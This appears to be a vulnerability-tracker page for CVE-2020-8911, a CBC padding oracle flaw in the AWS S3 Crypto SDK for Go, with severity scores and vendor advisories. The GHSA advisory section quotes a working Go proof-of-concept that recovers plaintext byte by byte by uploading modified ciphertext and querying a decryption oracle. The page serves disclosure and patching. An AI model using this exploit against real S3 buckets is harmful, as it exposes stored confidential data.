CVE-2020-8911

lowpriority · track · 22OT risk · elevatedEPSS 0.003 · 28 %ileDEEUUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.35% (28th) EPSS
CVSS 2.1 · low
Is it mine?
8 products
Check your exposure
Who says so?
5 sources
cnnvd · enisa_euvd · osv · cert_bund

EPSS · scored 2026-10-28

A padding oracle vulnerability exists in the AWS S3 Crypto SDK for GoLang versions prior to V2. The SDK allows users to encrypt files with AES-CBC without computing a Message Authentication Code (MAC), which then allows an attacker who has write access to the target's S3 bucket and can observe whether or not an endpoint with access to the key can decrypt a file, they can reconstruct the plaintext with (on average) 128*length (plaintext) queries to the endpoint, by exploiting CBC's ability to manipulate the bytes of the next block and PKCS5 padding errors. It is recommended to update your SDK to V2 or later, and re-encrypt your files.

01

cvss

Technical severity, 0–10. One row per scoring source.

5.6
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · low–medium · 2.1–5.6

v2.02.1lowAV:L/AC:L/Au:N/C:P/I:N/A:Nprimary · NVD / NIST USexploitability 3.9 · impact 2.9
v3.15.6mediumCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:Nprimary · NVD / NIST USexploitability 1.1 · impact 4
v3.15.6mediumCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:Nsecondary · ENISA EU
v3.15.6mediumCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:Nsecondary · cve-coordination@google.comexploitability 1.1 · impact 4
v3.15.6mediumCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:Nsecondary · OSV
v3.15.1mediumCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N/E:Usecondary · CVSS-BT (t0sche)
02

weaknesses

The CWE weakness classes this flaw belongs to.

03

affected products (8)

Products and version ranges known to be affected.

04

advisories (3)

Vendor and ecosystem advisories describing this.

  • WID-SEC-W-2024-0794Dell ECS: Mehrere SchwachstellenDeutsch2024-04-04csaf · cert_bundDE

    Ein Angreifer kann mehrere Schwachstellen in Dell ECS ausnutzen, um seine Privilegien zu erweitern, beliebigen Programmcode mit Administratorrechten auszuführen, Informationen offenzulegen, Dateien zu manipulieren, einen Cross-Site-Scripting-Angriff durchzuführen, Sicherheitsvorkehrungen zu umgehen oder einen Denial of Service Zustand herbeizuführen.

  • GHSA-f5pg-7wfw-84q9CBC padding oracle issue in AWS S3 Crypto SDK for golang2022-02-11ghsa · osvUS

    ### Summary The golang AWS S3 Crypto SDK is impacted by an issue that can result in loss of confidentiality and message forgery. The attack requires write access to the bucket in question, and that the attacker has access to an endpoint that reveals decryption failures (without revealing the plaintext) and that when encrypting the CBC option was chosen as content cipher. ### Risk/Severity The vulnerability pose insider risks/privilege escalation risks, circumventing KMS controls for stored data. ### Impact This advisory describes the plaintext revealing vulnerabilities in the golang AWS S3 Crypto SDK, with a similar issue in the non "strict" versions of C++ and Java S3 Crypto SDKs being present as well. V1 prior to 1.34.0 of the S3 crypto SDK, allows users to encrypt files with AES-CBC, without computing a MAC on the data. Note that there is an alternative option of using AES-GCM, which is used in the examples of the documentation and not affected by this vulnerability, but by CVE-2020-8912. This exposes a padding oracle vulnerability: If the attacker has write access to the S3 bucket and can observe whether or not an endpoint with access to the key can decrypt a file (without observing the file contents that the endpoint learns in the process), they can reconstruct the plaintext with (on average) `128*length(plaintext)` queries to the endpoint, by exploiting CBC's ability to manipulate the bytes of the next block and PKCS5 padding errors. This issue is fixed in V2 of the API, by disabling encryption with CBC mode for new files. Old files, if they have been encrypted with CBC mode, remain vulnerable until they are reencrypted with AES-GCM. ### Mitigation Using the version 2 of the S3 crypto SDK will not produce vulnerable files anymore. Old files remain vulnerable to this problem if they were originally encrypted with CBC mode. ### Proof of concept A [Proof of concept](https://github.com/sophieschmieg/exploits/tree/master/aws_s3_crypto_poc) is available in a separate github repository. This particular issue is described in [padding_oracle_exploit.go](https://github.com/sophieschmieg/exploits/blob/master/aws_s3_crypto_poc/exploit/padding_oracle_exploit.go): ```golang func PaddingOracleExploit(bucket string, key string, input *OnlineAttackInput) (string, error) { data, header, err := input.S3Mock.GetObjectDirect(bucket, key) if alg := header.Get("X-Amz-Meta-X-Amz-Cek-Alg"); alg != "AES/CBC/PKCS5Padding" { return "", fmt.Errorf("Algorithm is %q, not CBC!", alg) } length, err := strconv.Atoi(header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Length")) padding := byte(len(data) - length) plaintext := make([]byte, length) for i := length - 1; i >= 0; i-- { newLength := 16 * (i/16 + 1) dataCopy := make([]byte, newLength) headerCopy := header.Clone() copy(dataCopy, data) // Set Padding newPadding := byte(newLength - i) for j := i + 1; j < newLength; j++ { var oldValue byte if j >= length { oldValue = padding } else { oldValue = plaintext[j] } dataCopy, headerCopy, err = xorData(oldValue^newPadding, j, dataCopy, headerCopy) if err != nil { return "", err } } // Guess for c := 0; c < 256; c++ { dataCopy, headerCopy, err := xorData(byte(c)^newPadding, i, dataCopy, headerCopy) input.S3Mock.PutObjectDirect(bucket, key+"guess", dataCopy, headerCopy) if input.Oracle(bucket, key+"guess") { plaintext[i] = byte(c) break } dataCopy, headerCopy, err = xorData(byte(c)^newPadding, i, dataCopy, headerCopy) } } return string(plaintext), nil } ```

  • GO-2022-0646CBC padding oracle issue in AWS S3 Crypto SDK for golang in github.com/aws/aws-sdk-go2022-02-11vendor · osvUS

    A padding oracle vulnerability exists in the AWS S3 Crypto SDK for GoLang versions prior to V2. The SDK allows users to encrypt files with AES-CBC without computing a Message Authentication Code (MAC), which then allows an attacker who has write access to the target's S3 bucket and can observe whether or not an endpoint with access to the key can decrypt a file, they can reconstruct the plaintext with (on average) 128*length (plaintext) queries to the endpoint, by exploiting CBC's ability to manipulate the bytes of the next block and PKCS5 padding errors. It is recommended to update your SDK to V2 or later, and re-encrypt your files.

05

also known as (5)

Other names and identifiers for this entity.

06

sources

Which sources assert this record, and when.

published 2020-08-11modified 2026-06-17
08

references (10)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan